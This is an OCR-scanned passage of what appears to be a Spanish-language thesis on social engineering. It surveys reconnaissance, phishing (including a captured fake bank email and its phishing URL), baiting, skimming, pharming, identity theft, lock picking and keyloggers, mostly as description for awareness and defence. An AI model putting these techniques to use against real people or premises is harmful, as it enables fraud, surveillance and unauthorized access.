o /Existe algun tipo de soporte por parte de la
empresa? ;Foro? ; Teléfono? Etc.

e Cualquier otra informacion que se 0s ocurra,

nunca se sabe que podemos necesitar saber.

Es bastante comun obtener informacion de diferentes
trabajadores de la empresa y ademas de ser informacion
muy util, se sabe sobre la vida social de cada uno de ellos,

por ejemplo:

Si encontramos el usuario Juan Pérez y su correo personal,
es muy posible que este disponga de cuenta de Facebook,
twitter o escriba en diferentes forums. Si rastreamos todos
estos datos es posible obtener datos como cuantos hijos
tiene, casas, trabajos, lugar donde frecuente, hobbies, etc.

Algo habitual es que en el trabajo, las personas comentan

sobre las aventuras del fin de semana o hablan de sus
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hobbies, por lo tanto toda esta informacion puede ser util a

la hora de realizar una aproximacion fisica.

1.4.1.2. Buscadores:

Existen diferentes libros sobre Google Hacking como
podria ser “Hacking con Buscadores: Google, Bing &
Shodan” de Enrique Rando (Informatica 64), que podria
ayudar a recopilar informacidon sobre una empresa

determinada.

Por ejemplo, en google existen unas palabras claves
llamadas “Google Dorks”, que son texto que se ingresa en

los buscadores de google, dan cierta funcionalidad:

e inurl: Se usa para buscar en una URL algun nombre
de pagina concreto, por ejemplo:

“inurl:view/index.shtmf’.

o intitle: Busqueda de titulos de paginas, es decir,

texto entre los tags <title></title>

o filetype: Realiza una busqueda de archivos de un

tipo determinado, por ejemplo: “filetype:pdf’
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e site: Se usa para realizar las busquedas en un site

determinado, por ejemplo: “site.microsoft.com”

e Related: Realiza una busqueda sobre paginas
similares o relacionadas a la especificada en el dork,

por ejemplo: “related-exploit-db.com”.

e cache: Busca en caché la pagina especificada, por

ejemplo: “cache securityfocus.com”

Se pueden utilizar varias combinacién para una
busqueda mas especifica.

Ejemplo: “site:Microsoft.com filetype:pdf’
Se obtendria todos los archivos de tipo “pdf’ que

pudieran estar alojados en el servidor web.

Ademas de los dorks de google, existen también los

buscadores, bing y shodan. [REF23].

1.4.2.3. ; Quién es? (WHOIS)

Mediante el uso del comando “Whois” también es posible
obtener informacion adicional sobre los dominios
registrados como podria ser:

¢ Direccion fisica de la empresa

e Nombre del registrador de dominio

()

\
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e Teléfono

e Correo electronico

e |Ps de los servidores DNS

1.4.2.4. Otros servidores:

Mediante la busqueda de informacion y realizando
diferentes consultas a servidores DNS, es posible obtener
la direccidon IP de otros servidores usados por la empresa
los cuales no estan “visibles” al publico. En muchas
ocasiones dichos servidores contienen informacion
realmente interesante y util, ademas de no estar tan

protegidos como los “publicos”.

Es importante realizar un breve escaneo a dichos
servidores usando alguna herramienta como podria ser
NMAP de la empresa Insecure,® con esta herramienta
ademas de poder localizar los diferentes servicios que tiene
corriendo el servidor, es posible detectar con un alto grado

de acierto el sistema operativo usado, software usado, etc.

* ISECURE. Organizacion que creo la herramienta NMAP, destinada a la seguridad en red.

Insecure.org
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1.5. Tipos de Ataques de ingenieria social

1.5.1. Ataques basados en el uso de tecnologia

La recopilacion de informacion es uno de los aspectos mas

importantes de la ingenieria social.

Para hacer un trabajo eficaz en la metodologia de Ingenieria
social se combinan las herramientas tecnolégicas, asi como
herramientas fisicas. Se puede encontrar algunas herramientas
que los equipos de especialistas de ingenieria social. Estas
herramientas estan orientadas a la recopilacion de informacion,
recopilacion de datos e incluso hasta en el uso de marcos de
trabajo para explotacion de vulnerabilidades, con el de poner a

prueba la infraestructura humana de la empresa.

1.5.1.1. Tecnologia basada en la ingenieria social

1.5.1.1.1. Ventanas emergentes de Windows (Pop-up):

Una ventana en la pantalla que informa al usuario de
que la conexion con el host se ha interrumpido y que
la conexidon de red tiene que ser re-autenticacion,
esta informacion se enviara por correo al intruso con
la informacién de acceso.

Son los llamados fraudes electronicos y han existido
por anos, pero en los ultimos meses se hacen mas

numerosos y sofisticados.
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1.5.1.1.2. Anexos de correo:

Programas y archivos ejecutables pueden estar
escondidos en archivos adjuntos de correo
electronico. El primer paso para explotar esta
vulnerabilidad consiste en escribir un programa que
podria ser el "agente interior" a la que el ingeniero
social podria enviar los mensajes encubiertos. Este
programa puede ser escrito para hacer cualquier
cosa, desde el envio de copias de los documentos
en el ordenador del usuario para espiar a otros
equipos de la red.

Podria ser colocado en la maquina, ya sea con
ayuda humana, por ejemplo, un colaborador dentro
de la empresa, o colocandolo en un sitio web para
su descarga, escondido dentro del software de

aspecto inocente: un caballo de Troya. [REF24].

1.5.1.1.3. Sitios Web:

La tendencia mas reciente en el spam y el robo de
identidad se llamado spoofing o "Phishing”, es el
proceso de enviar un e-mail a un usuario simulando
pertenecer a una empresa legitima, en un intento de
estafar a los usuarios para que revelen informacion

privada. Gobierno, las instituciones financieras y
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subastas en linea / servicios de pago son objetivos
comunes de suplantacion de identidad de marca. El
atacante envia un correo electrénico HTML dentro
de un formulario de entrada de correo electronico o
un mensaje de correo electronico proporciona un
enlace a una réplica enganosa de una pagina web

existente. [REF24].

1.5.2. Ataques basados en habilidades humanes.

1.5.2.1. Suplantacion.

De las formas humanas basadas en la ingenieria social, los
dos primeros se clasifican como persona importante para el
usuario y la suplantacion. Estos dos se utilizan a menudo
en combinacién con otros. En el libro Cyberpunk por Hafner
y Markoff, describen las medidas adoptadas por la hacker
Susan Hadley (alias Susan Thunder), uso un directorio
militar de una computadora facilmente accesible y pudo
obtener el nombre de la persona a cargo. Ella utilizé su
conocimiento basico de los sistemas militares y la
terminologia, realizo una llamaba a una base militar para
averiguar el oficial al mando de la instalacion de
informacion secreta. Su dulce voz fue el camino para la
obtencién del nombre del secretario del comandante y

luego colgd.
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Con esta informacion, cambio su tactica, utilizando frases
como: Su "jefe", el mayor, estaba teniendo problemas para
acceder al sistema y queria saber, ;por qué? Con
amenazas, consiguio el acceso al sistema y estuvo en el

sistema por alrededor de 20 minutos.

1.5.2.2. Terceros Autorizacion.

Un situacion comun es la autorizacion de terceros es
cuando el ingeniero social dice el nombre de un superior
que tiene la autoridad para otorgar acceso. Por lo general
es algo asi como "La autorizacion ya fue aprobada por el Sr
Pérez" o "Antes de que ella se fue de vacaciones, La
Senora Prez me dijo que deberia llamar para obtener esta
informacion.” El ingeniero social puede muy bien haber
llamado a la oficina de pagos para establecer si ellos no
estarian disponibles para corroborar la solicitud. Recuerde,
la mayoria de los ingenieros sociales son internos a la

organizacion y puede encontrar esto muy facil.

1.5.2.3. En persona.

El ingeniero social puede entrar en el edificio y pretende

ser un personal empleado, visitante o servicio. Pueden
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estar vestido con un uniforme o formar parte del equipo de

limpieza del contrato.

“Hace unos anos en la ciudad de Nueva York, un
equipo de limpieza llegd justo antes del almuerzo y
comenzo a ir a las oficinas y vaciar los recipientes de
basura limpiar el polvo. La mayoria de los
empleados se ofrecido a salir del de sus oficinas y
dejaron a cargo al equipo de limpieza por unos
minutos. Por la tarde los empleados se percataron
de que el carro de la basura todavia estaba en el
pasillo de las oficinas. El "equipo de limpieza" habia
limpiado las oficinas de carteras, bolsos y maletines.
Otra forma mas facil de acceder a una oficina, es
llegar con una pizza en dia de promociones, y lo
mas probable que alguien haya pedido y solito le

den acceso. [REF24]”

1.5.3. Busqueda en el basurero (Dumpster Diving)

Wikipedia® define a Dumpster Diving como buceo o busqueda en
el basurero: "Es la practica de buscar entre la basura residencial o

comercial para encontrar los articulos que han sido desechados

* WIKIPEDIA. - Enciclopedia de contenido libre.
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por sus duenos, pero que puede ser util para el buceador

contenedor de basura".

La naturaleza de los articulos y / o informacion encontrada puede
ser cualquier cosa, desde los registros meédicos, hojas de vida,
fotos personales y correos electronicos, extractos de cuenta,
detalles de la cuenta y la informacion sobre el software, los
registros de soporte técnico y mucho mas. Por supuesto, toda
esta informacion se puede utilizar para aprovechar un ataque

contra una victima. [REF10].

1.5.3.1 Legalidad

Una cosa a tener en cuenta, es que las cosas que se
desechan en la basura no se consideran ilegales tomarlas.
Sin embargo, puede generar un problema, si el contenedor
de basura se encuentra en la propiedad privada y no en la
esquina de la calle, entonces puede ser considerada

traspaso de la propiedad.

1.5.4.2 ;Por qué funciona el buceo en el basurero?
La razon principal de la busqueda en el basurero es para la
adquisicion de informacion. Al igual que con la mayoria de

las formas de Ingenieria social, "trabajar mas

CiZ -
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"> es un buen lema. Horas

inteligentemente, no mas dificil
haciendo trabajo de fuerza bruta a una contrasena versus
un numero de cuenta que se descartd en un post en nota

pegajosa sin triturar parece tonto [REF52].

1.5.5. Phishing

Phishing es un término informatico que denomina un tipo de delito
encuadrado dentro del ambito de las estafas cibernéticas, y que
se comete mediante el uso de un tipo de ingenieria social
caracterizado por intentar adquirir informacion confidencial de
forma fraudulenta (como puede ser una contrasefia o informacion

detallada sobre tarjetas de crédito u otra informacion bancaria).

El estafador o atacante, conocido como phisher, se hace pasar
por una persona o empresa de confianza en una aparente
comunicacion oficial electronica, por lo comun un correo
electronico, o algun sistema de mensajeria instantanea o incluso

utilizando también llamadas telefonicas. [REF25].

Un "phishing" comun es el ataque por medio de correo electronico

en el que el objetivo es robar la identidad de la victima.

° Del Libro No Tech Hacking 2008.
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Este fraude se lleva a cabo mediante el envio de e-mails legitimos
a personas inocentes. Los correos electronicos estan disenados
para que el destinatario crea que son de un instituto que deben
confiar, como las instituciones bancarias o cualquier otra empresa
que puede requerir que nos proporcione informacion personal
para la autenticacion. Dentro de esta informacion se encuentran
links o URL ocultos que abren paginas aparentemente originales,
pero que en realidad son copias de empresa o entidad legitima.
Normalmente estas paginas solicitan actualizacion de datos por
seguridad, y el cliente sin mucho conocimiento informatico ingresa
su informacion. Para realizar esta técnica se debe tener dar la
sensacion de que el correo es real y tener una pagina web que

sea una copia de la real. [REF32].

Un ejemplo fuel o sucedido con la entidad financiera el banco
Pichincha en el que llegaban mails, a varias personas con el

siguiente texto.
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Banca Electronica - Confirme ser el titular de sus datos personales

Recibdos  x

banco@pichincha.com banco@pchincha com a tra 18 54 (hace 5 horas)

banco@michincha com

"—_".
mngmm

BANCA ELECTRONICA
Notificacion

Confirme de Sus Datos Personales y evtemaos el fraude

Generade Jueves 01-marzo-2012
Reciba un cordial saludo del Asesor Virtual de Banco Pichincha

Esta es una notificacion para advertides de no agregar a sus contactos comeos
electromcos gue se asemejen al banco come par epemplo |
bancoprchincha@hotman com. sequndadpchincha@gmail com
senaciospichincha@iwve com ) El umco comeo vabdo del mensage ermviado por
nuaestra entidad bancana es el siguiente banco@pchuncha com con el dominio
pichincha com Para saver que tratamos con usted. porfavor debe confirmar sus
datos personales de |3 nueva Banca Electronica y ewitar el fraude electronico

Pu‘aca'lﬁlmalsusdmspena\desdelanuevabambiméuhle
pedimos i mgresaren el Imckproporcnonado lineas avajo.

.\' ~Ttt p Swwewpe pichin c:h; com .n.eb'
R m——

| http //www beezone. net/gallery; adrnm}templatpi/p:chmcﬁa phb]

Asesor Virtual
Banco Pichincha

Para mayor informacion puede ingresar a su Banca Virtual a través de:

www .pichincha.com
o llamar a Semicios del Pichincha: Quito y Region Sierra (02) 299-9999,
Guayaquil y Regién Costa al 1700-800-800
Cuenca y Region Austro al (07) 284 8888
o responder este e-mail a- banco@pichincha.com

Figura 1-2. Fishing: Mail falso de una entidad bancaria®

® La imagen obtenida es sacada de un buzén de correo electronico legitimo.
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Si uno da clic en el link de la figura 1-2, este re-direccionaba a la

siguiente URL.

http://www beezone net/gallery/admin/templates/pichincha.php

U Bienvenido a la Banca Electrénica

£n Banco Pxchencha Uabayamos Jo frd COriwe Darg Jaantics’ 9 yoguidad O TuesUos ©oites por oha
Fami mpiamaniyin = SHiema de Ingreso Blomemnica 3 ¥ a T@TNER S SR A2 1T AR MRS THentas
o0 fAeT T OB BS A& nueve Usuans » Clave BIometricos [ Medilar s T ones

\ / O Jouding e J

by "wau Jews v
¥~ e Bloméo iqos

L A3 BEonct<a

“ty‘ v & Corteg Eeclionmeo

LTSSy Chis v Jux
VriSigr —3

L e T R el T S T

Figura 1-3. Fishing: pagina web falsa de |la entidad bancaria

Como se aprecia en la Figura 1-3, es una copia de la pagina web
de la institucidon bancaria. Este tipo de ataque es muy efectivo

cuando el usuario logra dar clic en el link.
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1.5.5.1 URL y Manipulaciéon Email

Una de las razones por qué esquemas de phishing
funciona tan bien es que la gente tiende a confiar en los
mensajes que parecen provenir de una entidad importante
o parecer importante. El atacante puede manipular
facilmente un URL, enganando a la victima y provocar que
haga clic en la pagina falsa. Por ejemplo, una URL como (
http://www.company.com ) se ve casi idéntico a (
http://www.cornpany.com ) si la fuente esta bien y el

lector escanea a través de ella. [REF32].

Con la compra de un dominio que se asemeja mucho a la
URL legitima, el atacante configura una cuenta de correo
electronico y falsifica la pagina web, que requiere muy poco
tiempo y esfuerzo, para que las personas hagan clic en el

enlace y luego ser vulnerados.

1.5.5.2 Spear Phishing

Debido al exito de los ataques de phishing, los phishers
maliciosos han desarrollado spear phishing. En lugar de
enviar miles de correos electronicos al azar con la
esperanza de algunas victimas caigan en el engano, lanza

phishers objetivo seleccionar grupos de personas con algo
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en comun y el perfil mas alto por lo general. Los e-mails se
envian por lo general de organizaciones o individuos a las
victimas potenciales normalmente reciben e-mails,

haciéndolos aun mas enganoso. [REF32].

1.5.5.3. Pruebas de intrusién e ingenieros sociales

El phishing es un tipo de ataque muy utilizado para pruebas
de penetracion. Utilizando todos los métodos mencionados
anteriormente, pero sin mala intencion, los probadores de
penetracion se emplean estos métodos para mostrar una
empresa |lo devastador que estos ataques pueden ser.
Muchas empresas gastan miles de dolares en sistemas
IDS, firewalls y otros dispositivos de proteccion para
controlar la red, pero un ataque de phishing experto puede
conducir a la destruccion total de una empresa sin tener

que hackear una un sistema directamente.

1.5.6. Infeccion de medios (Drive-by Infection)

Drive-by Infection es un término que hace referencia a la
infeccion de una del equipo computacional, por medio de una
descarga de un archivo al equipo.

La descarga puede ser involuntaria de un aplicativo desde
Internet, por personas autorizadas, pero sin entender las

consecuencias de la misma (por ejemplo, las descargas de un
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programa ejecutable desconocido o falso, que hace relacion a un

componente requerido como: ActiveX o applets Java).

También la infeccion se suele dar por la descarga que sucede sin
el conocimiento de una persona, que a menudo suele ser un virus,

spyware, malware, o software de actividades ilegales. [REF26].

Las descargas pueden ocurrir cuando se visita un sitio web,
visualizacion de un mensaje de correo electronico o haciendo clic
en una ventana enganosa emergente: por ejemplo, salta una
ventana informativa de de error de un sistema operativo, o que un
anuncio emergente que dice que esta siendo despedido. En tales

casos, el "proveedor' puede afirmar que la persona ‘es
consciente" de la descarga aunque en realidad, es consciente de
haber iniciado una descarga de software no deseado o malicioso.

[REF27].

Los hackers utilizan diferentes técnicas para ofuscar u ocultar el
codigo malicioso, de tal manera que los antivirus no sean

capaces de reconocerlo.

El codigo se ejecuta en modo oculto, y puede pasar desapercibida
incluso para usuarios experimentados. [REF28]. Ejemplo de
archivos comunes descargables:

o Antivirus Falsos
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e Limpiador de malware falsos

e Limpiadores de registros.

1.5.7. Email ( Mail Spoofing)

Se refiere a la suplantacion de direcciones de correo electronico

de otras personas o entidades.

Esta técnica es usada con astucia, para el envio de mensajes de
correo electronico falsos, como suplemento perfecto para el uso
de suplantacion de identidad y para envio de SPAM, es tan
sencilla como el uso de un servidor SMTP configurado para este

fin. [REF29].

Para protegerse se deberia comprobar la IP del remitente (para
averiguar si realmente esa ip pertenece a la entidad que indica en

el mensaje) y la direccion del servidor SMTP utilizado.

El correo electronico también se puede utilizar para medios mas
directos de obtener acceso a un sistema. Por ejemplo, los
archivos adjuntos de un correo legitimo pueden contener un

archivo infectado de virus, gusanos y caballos de Troya. [REF30].
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1.5.8. Suplantaciéon de Identidad

Suplantacion generalmente significa la creacion de algun tipo de
caracter y jugando el papel. Algunas funciones comunes que
pueden ser reproducidos en ataques de suplantacion incluyen: un
técnico, soporte de Tl, un administrador, un tercero de confianza o
un companero de trabajo. En una empresa grande, esto no es tan
dificil de hacer. No hay manera de saber todo el mundo - ID

puede ser falsificada. [REF30].

1.5.9. Espiar en la oficina

Una de las caracteristicas de la ingenieria social es espiar en la
oficina, viendo documentos que tengan relevancia y sean
sensibles, normalmente en los escritorios de los asistentes o
secretarias. Se puede encontrar informacion muy util para poder

conocer a la victima.

1.5.10. Espiar sobre el hombro

Otra técnica que se usa es una vez que el atacante esta en
contacto con la victima este podria generar ocasiones o
situaciones en la cual la victima tenga que ingresar su usuario y
clave en un computador, y en ese instante el atacante observa de
forma discreta lo que la victima ingresa, normalmente se
menciona que esto se lo hace espiando sobre el hombro de la

victima. [REF30].
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1.5.11 Baiting

Es el abuso de la curiosidad humana para lograr que un medio
infectado sea utilizado dentro de la organizacion y de esa manera
instalar software ilegal que permita luego acceder a la informacion
confidencial.

Baiting es como el caballo de Troya del mundo real que utiliza
medios fisicos y se basa en la curiosidad o la codicia de la
victima.

En este ataque, el atacante deja un malware infectado disquete,
CD-ROM o una unidad flash USB en un lugar seguro que se
encuentra (cuarto de bano, ascensor, acera, estacionamiento), da
una etiqueta de apariencia legitima y curiosidad despiertan, y

simplemente espera a la victima a utilizar el dispositivo. [REF30].

Por ejemplo, un atacante podria crear un disco con un logotipo de
empresa, de facil acceso desde el sitio web de la blanco, y escribir
"Resumen Ejecutivo Salario Q2 2013" en el frente. El atacante
podria dejar el disco en el piso de un ascensor 0 en algun lugar en
el vestibulo de la empresa en cuestion. Un empleado sin saberlo
podrian encontrarlo y luego inserte el disco en una computadora
para satisfacer su curiosidad, o un buen samaritano podria

encontrarlo y entregarlo a la empresa.
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1.5.12 Ingenieria Social reversa

Un dltimo meétodo, mas avanzado de obtener informacion
ilicita que se conoce como "Revertir la ingenieria social”.
Esto es cuando el atacante crea un personaje que parece
estar en una posicion de autoridad para que los empleados
le preguntaren a él a titulo informativo, y no al revés. Si
investigado, planeado y bien ejecutado, reverse ataques de
ingenieria social puede ofrecer el atacante una mejor
oportunidad de obtener valiosos datos de empleados.

[REF30].

Sin embargo, esto requiere una gran cantidad de
preparacion, la investigacion, y pre-hacking para llevarlo a

cabo.

1.5.12.1Skimming

Se denomina Skimming al robo de informacion de tarjetas
de crédito utilizado en el momento de la transaccion, con la
finalidad de reproducir o clonar la tarjeta de credito o debito
para su posterior uso fraudulento. Consiste en el copiado

de la banda magnética de una tarjeta (crédito, débito, etc.).

Los escenarios comunes en los que se realiza skimming
son en restaurantes, bares, gasolineras o en cajeros

electronicos donde un complice del criminal esta en
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posesion de la tarjeta de crédito de la victima o en un lugar
en el que se ha instalado un dispositivo que puede copiar la

informacion.

En el caso de un cajero automatico, el autor del fraude
pone un dispositivo a través de |la ranura para tarjetas, que
lee la informacion de la banda magnética y la copia para su
uso posterior. Estos dispositivos se utilizan a menudo en
combinacion con una microcamara que graba el codigo PIN
(Codigo de seguridad) del usuario. Es dificil que el titular de
la tarjeta detecte el skimming, pero es bastante facil de
detectar para el emisor de la tarjeta con una muestra lo

suficientemente grande. [REF35].

1.5.12.2 Pharming

Pharming es la explotacion de una vulnerabilidad en
el software de los servidores DNS (Domain Name
System) o en el de los equipos de los propios
usuarios, que permite a un atacante redirigir un
nombre de dominio (domain name) a otra maguina
distinta. De esta forma, un usuario que introduzca un
determinado nombre de dominio que haya sido

redirigido, accedera en su explorador de internet a la
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pagina web que el atacante haya especificado para

ese nombre de dominio. [REF36].

Los ataques mediante pharming pueden realizarse
de dos formas: directamente a los servidores DNS,
con lo que todos los usuarios se verian afectados, o
bien atacando a ordenadores concretos, mediante la
modificacion del fichero "hosts" presente en
cualquier equipo que funcione bajo Microsoft

Windows o sistemas Unix. [REF32].

1.5.12.3 Tombstone Robo

Tombstone Robo de identidad, consiste en robar la
identidad de alguien que ha fallecido. Se puede
asumir esa identidad de la persona, realizar varios
fraudes por un tiempo.

Este engano es viable debido a que muchas
personas a la muerte de un familiar o conocido
suelen a menudo olvidar notificar a los bancos y
otras companias de tarjetas de credito
inmediatamente después de su muerte.

En cuanto a las entidades financieras piensan que el
individuo esta vivo y el uso de sus tarjetas o cuentas

es de forma normal. Una manera de obtener esta
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informacion es a través de avisos funeraria u
obituarios. Las funerarias pueden ser descuidadas
en su manejo de la informacion personal de sus

clientes. [REF30].

Diferentes vulnerabilidades presentes en la comunicacion.

Las empresas normalmente no llegan a determinar la importancia de las
compunciones internas de la empresa, y del potencial que se podria

lograr para poder ayudar.

1.6.1. El esfuerzo por proteger desde el exterior

En la actualidad las empresas estan tomando un grado de
confianza en realizar inversiones para la seguridad de sus puntos

periféricos por el miedo de ser sujetos algun tipo de ataque.

Gran parte del esfuerzo de proteger los ataques del exterior, es
porque se asume que el personal interno esta bien capacitado o
no tiene ningun motivo para atacar a la empresa donde trabaja.

Pero se presenta una vulnerabilidad cuando los ataques son
internos, ya sea por descuido o desconocimiento de las politicas

de seguridad informatica.

El interior de la empresas es un escenario real, y que no pocas

veces esta presente, y que las empresas no quieren /dﬁr“a\.\

| |
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conocer cuando sucede ya que reflejara una brecha de seguridad

para el manejo de informacion.

Por eso cualquier esfuerzo por proteger desde el exterior no es

suficiente si se descuida el interior. [REF33].

1.6.2. Inversion Inadecuada

Otra vulnerabilidad presente son las inversiones inadecuadas en
las empresas, el no tener personal especializado para adquirir
equipos suficientemente robustos y que vayan relacionados con la

informacion que se esta custodiando.

El no tener un presupuesto adecuado para capacitacion de su
personal a cargo o tener una empresa asesora con el
conocimiento actualizados, esto con lleva a no tener capacidad de
reaccion frente a los ataques.

Las empresas no les gusta invertir en la seguridad de informacion,
y cuando se tiene un presupuesto suelen no realizar la inversion
adecuada que tenga una coherencia con el tipo de informacion

sensible o confidencial.

No realizar talleres para capacitar a su personal de lo vulnerable
que pueden ser un sistema, si no manejamos adecuadamente la
informacion, y que las politicas de seguridad son muy importantes

para la empresa.
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1.6.3. Indiferencia de las organizaciones o falta de conocimiento

Otro escenario comun de las empresas es la total falta de interior
para los temas de seguridad informatico, la mesa directiva de
las empresas, no ve real que pueda surgir un ataque por algun

método de ingenieria social.

Las empresas también pueden desconocer que pueden ser
vulnerables por un ataque de ingenieria social, ya que

desconocen de este tipo de ataque.

Ambos escenarios son los mas ventajoso de atacar, explotando
con mayor facilidad la obtencion informacion, en muchos casos
las empresas son victimas de ataques y nunca se enteran o son

consientes de que han sido vulnerados.
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CAPITULO 2

Vulnerabilidades de Ingenieria Social
En este capitulo se realiza una busqueda para listar las técnicas vy
herramientas mas usadas para encontrar vulnerabilidades y obtener

informacion sensible dentro de la empresa.

El objetivo es poder tener un amplio conocimiento de todas las
herramientas actualmente en el mercado y de como algunas articulos

cotidianos pueden tener vulnerabilidades dentro de la empresa.

Este capitulo servira como base para poder seleccionar la herramienta

mas adecuada para armar escenarios de atagues.

Vulnerabilidades Fisicas.

Una de las vulnerabilidades basicas a tener en cuenta son las fisicas,
desde el ingreso a areas no autorizadas, o zonas descuidadas.
En algunas ocasiones se puede obtener informacion dejando

dispositivos en areas que parecen comunes dentro de una oficina.
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2.1.1. Lock Picking

Una de las técnicas favoritas de los Hackers es el Lock Picking,
hay empresas que se dedican al desarrollo y competencia
basados en esta técnica.

Lock picking es la habilidad de “abrir’ una cerradura (lock)
mediante el analisis y manipulando los componentes de la

cerradura sin utilizar la llave original.

A pesar de que “lock picking” puede ser asociado a intentos
criminales, es una habilidad esencial para los cerrajeros. Lock
picking es la manera ideal de abrir una cerradura sin la llave

correcta, sin danar la cerradura.

Esto nos permite ‘“reconfigurar” la cerradura para un uso
posterior, lo cual es importante especialmente en cerraduras
antiguas que serian imposibles de reemplazar si se utilizaran

métodos destructivos. [REF37].

Esta técnica es ampliamente usas principalmente en cerraduras
de tambor con pines. La cerradura de tipo tambor es un sistema
de mecanismo que usa pines de varias longitudes para evitar que

la cerradura sea abierta con otra llave.
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Figura 2-1. Vista exterior comun cerradura tambores con pines

\

Figura 2-2. Vista extenor/interior cerradura tambor con pines [REF37].

En el interior de la cerradura encontramos un mecanismo de pines
y resortes,
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Figura 2-3. Vista interior lateral cerradura de tambor con pines [REF37].

Para poder girar el cilindro que abre la llave hay que tener la llave

exacta,

Figura 2-4. Vista interior lateral de cerradura de tambor con pines [REF37].

Para realizar el lock picking, es necesario utilizar unas
herramientas especializadas, que se conoce como ganzuas y

tensionadores.
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Las ganzuas se las introduce en la cerradura para tratar de alinear

los pines o pernos.

El tensionador lo aplicamos para que una vez alineado el perno es

no se de vuelva a su estado original. [REF37].

5 82 &8 8 888 !

. ¥ 5 5 88 5

Figura 2-5. Set de Ganzuas

[REF37].

PINES

TENSIONADOR

J

Figura 2-6. Uso de Ganzuas [REF37].

En la figura 2-6 se puede apreciar como |la ganzua se introduce en
la cerradura, y se va colocando de bajo de cada pin o pemo, para

levantarlo hasta que se sienta que se queda un poco trabado,
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mientras el tensionador hace presion para un lado. Para utilizar
estas herramientas existen dos meéetodos remarcados, el de

rastillar y levantar.

El rastillar es la técnica de rastrillar de adentro hacia afuera,
simulando un rastrillo de forma que los pines se vayan levantando

suavemente.

Figura 2-7. Uso de Ganzuas — Método rastrillar [REF37].

Otro método es levantar, que consiste en levantar poco a poco la

ganzua, tratando de sentir el pin como sube y se queda trabado.

A\

eSS\ /\

Figura 2-8. Uso de Ganzuas — Método Levantar [REF37]
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Cuarto de Servidores inseguros.

Una vulnerabilidad que encontramos en nuestros tiempos es el
acceso a los cuartos de servidores, comenzando por la cerradura
que se utiliza, que puede ser facil vulnerable con técnicas de lock

picking.

A veces no es necesario tener la llave, solo haciéndose pasar por
personal de limpieza se podria tener acceso al cuarto de los

servidores. Mediante suplantacion de identidad.

Otra forma de tener seguridad, es tener tarjetas inteligentes que le
da acceso al portador, pero se menciona la seguridad depende
del tipo de trato que se de la tarjeta inteligente, podria tener el
mejor sistema, pero si la tarjeta es extraviada o sustraida de
forma intencional, deberia haber un protocolo de desactivacion de

la anterior. Este tema se va ahondar mas adelante.

Estaciones de trabajo desbloqueadas.

Para un ingeniero social, la sobre confianza o descuido de las
personas es una gran ventaja a la hora de obtener informacion, y
cabe preguntarnos cuantos de nosotros dejamos bloqueado
nuestras maquinas cuando nos vamos a almorzar, o entra el

personal de limpieza?
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No siempre es una urgencia para las personas, ya que no lo ven
como una amenaza, y si las estaciones de trabajo, en las cuales
tenemos informacion muy importante no se la bloquea, cualquiera

gue pase por el lugar podria tener acceso, sin mayor dificultad.

Los ingenieros sociales saben de esta vulnerabilidad, y por eso
sus visitas ya sea externa o interna, se las realiza en horarios de
almuerzo o al final de la tarde, en la que las personas estan mas

descuidas.

Métodos de grabacion.

Un método que se ha querido abordar en este ensayo es los métodos de
grabacion, que a veces no somos consientes que se puedan presentar
en un ambiente laboral, a veces pensamos o tememos de que el método

mas usado son los virus y archivos contaminados.

Ya sea como estrategia o conocimiento general, los métodos de

grabacion, permiten obtener informacion valiosa para el ingeniero social.

2.2.1. Grabacion de video

Para el ingeniero social un método para obtener informacion es
poder grabar un video, pero el éxito esta enfocado en grabarlo de

forma discreta, aunque para poder tener una grabacion de video
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discreta por lo general se tiene que sacrificar la calidad del mismo,
en el mercado podemos encontrar algunas herramientas

interesantes y utiles para grabar video. [REF38].

Una alternativa puede ser dispositivos USB que permite graba

video y hasta audio dependiendo del fabricante.

Figura 2-9. Usb para grabar video y audio [REF38].

2.2.2. Grabacion de voz

Una teécnica tradicional es el método de grabacion de voz, y al
igual que la grabacion de video se debe tener dispositivos cerca
de la victima para poder grabar conversaciones, asi es posible

dejar algun dispositivo en su oficina o cerca de su escritorio que

me permita para este efecto.
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Un dispositivo muy util que se puede encontrar en el medio es el

de una pluma que permita grabar.

Figura 2-10. Pluma - Usb para grabar audio [REF38].

2.2.3. Grabacion dentro de las Computadoras ( Keyloggger).

Si el ingeniero social puede tener acceso fisico a las
instalaciones, lo mas conveniente seria utilizar técnicas para

poder grabar dentro del computador.

Una técnica muy relacionada con los ingenieros sociales para

obtener informacion es el los Keylloger. [REF38].
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2.2.3.1. Un keylogger tipo hardware.

Los keylogger, fisicos, han perdido su popularidad debido

al crecimiento de portatiles en las oficinas.

Los keylogger fisicos se podria dividir en dos variedades
basicas:

1. Equipos que se conectan al final del teclado, son

faciles de instalar, pero pueden ser detectados

facilmente

2. Keylogger que tienen forma de teclados reales, la

desventaja es que el usuario notar el cambio.

Figura 2-11. USB Keylogger Fisico. [REF38].

2.2.3.2. Keylogger por software

Estos son programas que se instalan en la computadora de
la victima, y que el objetivo, de capturar y grabar las teclas

que se presionan.
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El programa instalado debe tener privilegios para poder
acceder a las pulsaciones del teclado.

Hay que tener en cuenta que este tipo de programas son
mas discretos a la vista, pero suelen ser detectados como

un virus por los antivirus. [REF38].

Vulnerabilidades de la radio frecuencia

En el mercado latinoamericano, se estan manejado conceptos como
M2M (Machine to Machine), que busca tener conectividad de todos los
dispositivos en una sola plataforma, esto se ha reflejando indirectamente
en una demanda del uso de tecnologia de radiofrecuencia.

Considerando las tendencias, se propone realizar un pequeno analisis
de como esta tecnologia es usada para accesos de seguridad en las

empresas. [REF39].

2.3.1. ;{Qué es radio frecuencia?

Los dispositivos de radio frecuencia son muy utilizados para
sistemas de seguridad dentro de las empresas, para dar acceso a
areas restringidas, ya que su implementacion y su bajo costo los
hacen muy populares en las empresas. Esta es una de las

razones por la que los ingenieros Sociales buscan encontrar

)

Cil- 0 o

vulnerabilidades en estos sistemas. [REF39].
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2.3.1.1. RFID
RFID "Radio Frequency IDentification", en
espanol, Identificacion por Radiofrecuencia. Esta

tecnologia se utiliza para identificar un elemento, seguir su
ruta de movimiento y calcular distancias gracias a una
etiqueta especial que emite ondas de radio, la cual se

adjunta o se encuentra incorporada al objeto.

2.3.1.2. Etiqueta de radiofrecuencia

La etiqueta de radiofrecuencia (traspondedor, etiqueta
RFID) esta formada por un chip conectado a una antena,
ambos contenidos en un roétulo (etiqueta RFID o rotulo
RFID). Un dispositivo lo lee y luego, captura y trasmite la

informacion.

ANTENA RFID

. CHIP RFID

Figura 2-12. Etiqueta RFID [REF39].
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2.3.1.3. Funcionamiento basico del RFID.

El funcionamiento del RFID, se base en tres elementos
